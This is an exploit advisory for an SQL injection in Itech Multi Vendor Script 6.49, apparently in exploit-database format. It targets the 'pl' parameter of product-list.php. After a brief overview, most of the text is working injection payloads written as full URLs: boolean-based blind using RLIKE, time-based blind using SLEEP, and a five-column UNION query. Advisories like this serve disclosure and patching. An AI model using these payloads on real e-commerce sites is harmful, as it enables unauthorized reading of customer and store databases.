Itech Multi Vendor Script 6.49 - 'pl' SQL Injection

Exploit Title: Itech Multi Vendor Script 6.49 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/multi-vendor-shopping-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Multi Vendor Script v6.49 offers a robust eCommerce platform. The script has been designed to deliver all major features required to run an eCommerce website.

Type of vulnerability:

An SQL Injection vulnerability in Itech Multi Vendor Script 6.49 allows attackers to read
arbitrary data from the database.

Vulnerability:

http://localhost/multi-vendor-shopping-script/product-list.php?pl=[payload]

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: http://localhost/multi-vendor-shopping-script/product-list.php?pl=11201ff1de774005f8da13f42943881c655f' RLIKE (SELECT (CASE WHEN (6851=6851) THEN 0x313132303166663164653737343030356638646131336634323934333838316336353566 ELSE 0x28 END))-- HnQm

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: http://localhost/multi-vendor-shopping-script/product-list.php?pl=11201ff1de774005f8da13f42943881c655f' AND SLEEP(5)-- WHze

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: http://localhost/multi-vendor-shopping-script/product-list.php?pl=-3569' UNION ALL SELECT CONCAT(0x716b6a7871,0x7573485a716b767347544870695571415a465846434b5541777566416a6571656d6a5a6c62526f47,0x7170627171),NULL,NULL,NULL,NULL#
---